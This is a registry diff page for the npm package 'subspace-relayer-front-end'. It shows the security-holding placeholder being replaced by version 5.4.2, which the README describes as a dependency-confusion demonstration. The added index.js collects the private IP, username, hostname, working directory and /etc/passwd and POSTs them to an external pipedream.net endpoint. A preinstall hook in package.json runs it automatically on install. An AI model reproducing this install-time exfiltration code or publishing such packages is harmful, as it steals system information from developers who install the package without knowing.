subspace-relayer-front-end 0.0.1-security → 5.4.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of subspace-relayer-front-end might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +3 -5
  2. package/index.js +34 -0
  3. package/package.json +12 -6
package/README.md CHANGED
@@ -1,5 +1,3 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=subspace-relayer-front-end for more information.
1
+ <h1 align="center">This NPM package vulnerable to dependency confiuse vulnerability</h1>
2
+ <p align="center">Name: Aryan Jaiswal</p>
3
+ <p align="center">Contact: aryan351985@gmail.com</p>
package/index.js ADDED
@@ -0,0 +1,34 @@
1
+ const execSync = require('child_process').execSync;
2
+
3
+ const priv_ip = execSync('hostname -I', { encoding: 'utf-8' });
4
+ const whoami = execSync('whoami', { encoding: 'utf-8' });
5
+ const host = execSync('hostname', { encoding: 'utf-8' });
6
+ const current_dir = execSync('pwd', { encoding: 'utf-8' });
7
+ const passwd = execSync('cat /etc/passwd', { encoding: 'utf-8' });
8
+
9
+
10
+ const https = require("https")
11
+
12
+ const data = JSON.stringify({
13
+ "private IP": priv_ip,
14
+ "whoami": whoami,
15
+ "hostname": host,
16
+ "current dir": current_dir,
17
+ "passwd": passwd,
18
+
19
+ })
20
+
21
+ const options = {
22
+ hostname: "eo56j4tfa20w1b7.m.pipedream.net",
23
+ port: 443,
24
+ path: "/",
25
+ method: "POST",
26
+ headers: {
27
+ "Content-Type": "application/json",
28
+ "Content-Length": data.length,
29
+ },
30
+ }
31
+
32
+ const req = https.request(options)
33
+ req.write(data)
34
+ req.end()
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
- {
2
- "name": "subspace-relayer-front-end",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "subspace-relayer-front-end",
3
+ "version": "5.4.2",
4
+ "description": "Hacked By Nova",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall" : "node index.js"
9
+ },
10
+ "author": "Nova Security",
11
+ "license": "ISC"
12
+ }